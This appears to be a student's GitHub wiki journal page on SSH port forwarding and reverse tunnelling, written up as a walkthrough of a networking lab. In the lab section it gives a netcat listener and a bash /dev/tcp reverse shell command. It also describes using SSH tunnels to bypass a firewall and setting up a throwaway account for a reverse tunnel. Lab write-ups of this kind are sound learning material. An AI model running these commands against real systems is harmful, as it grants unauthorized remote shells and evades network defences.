Tunneling and Port Forwarding - Zacham17/my-tech-journal GitHub Wiki

This page will explain how SSH can be used for both port forwarding and tunneling.

Forwarding

SSH can be used to forward connections and bind ports.

The syntax for an SSH command to forward connections is as follows: ssh -N -L LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT USERNAME@REMOTE_IP

  • The -N argument specifies that remote commands won't be executed
  • The -L argument specifies that a local address and port will be bound to a remote address and port

Tunneling

SSH can also be used tunneling connections for reverse connections.

The syntax for an SSH command to tunnel a reverse connection is: ssh -o OPTIONS -T -R REMOTE_SOCKET:HOST:HOSTPORT USERNAME@TARGETIP -i IDENTITY_FILE

  • The -o argument allows for the specification of options. Possible options can be found on the ssh man page.
  • The -T argument disables pseudo-terminal allocation, and instead uses pipes instead of bidirectional pty.
  • The -R argument specifies that connections to the port on the remote host are to be forwarded to the local side.
  • The -i argument specifies an identity file to use(usually a private key file). Used when using public key authentication.

Lab 3.1 Example

To demonstrate forwarding in this lab, a python http server with a simple index.html file was run on the target.

From my device, I ran the command ssh -N -L 0.0.0.0:9111:10.0.17.200:8123 user.name@[email protected] replacing user.name with my username. This invokes an SSH session with port 9111 on the local host bound to port 8123(the http server port) on the target.

From my device I am now able to curl that web page from the server. Using the SSH tunnel, I can bypass the firewall.

To demonstrate tunneling in the lab I opened a listening port on my device using the command "nc -nlvp 4449", and then from the target, ran the command bash -i >/dev/tcp/10.0.17.73/4449 0>&1 to invoke a reverse shell, granting a shell to the target system on my host device.

On my system I created a temporary user called "throwaway" using the command useradd -m -s /usr/bin/bash throwaway. This user is utilized later

On the target system, I made a directory called throwaway and from within it, ran the command ssh-keygen -N "" -C throwaway -f throwaway. This command generates a keypair without interactive prompts.

On my host system I made a ".ssh" directory in the throwaway user's home directory and then created a file called authorized_keys. I then copied the generated public key into the authorized_keys file. I also started the sshd service.

From the target device, within the "throwaway" directory, I ran the command ssh -o StrictHostKeyChecking=no -T -R 7000:localhost:8123 [email protected] -i throwaway to tunnel connections using the reverse shell. Now I can access the http server on the target.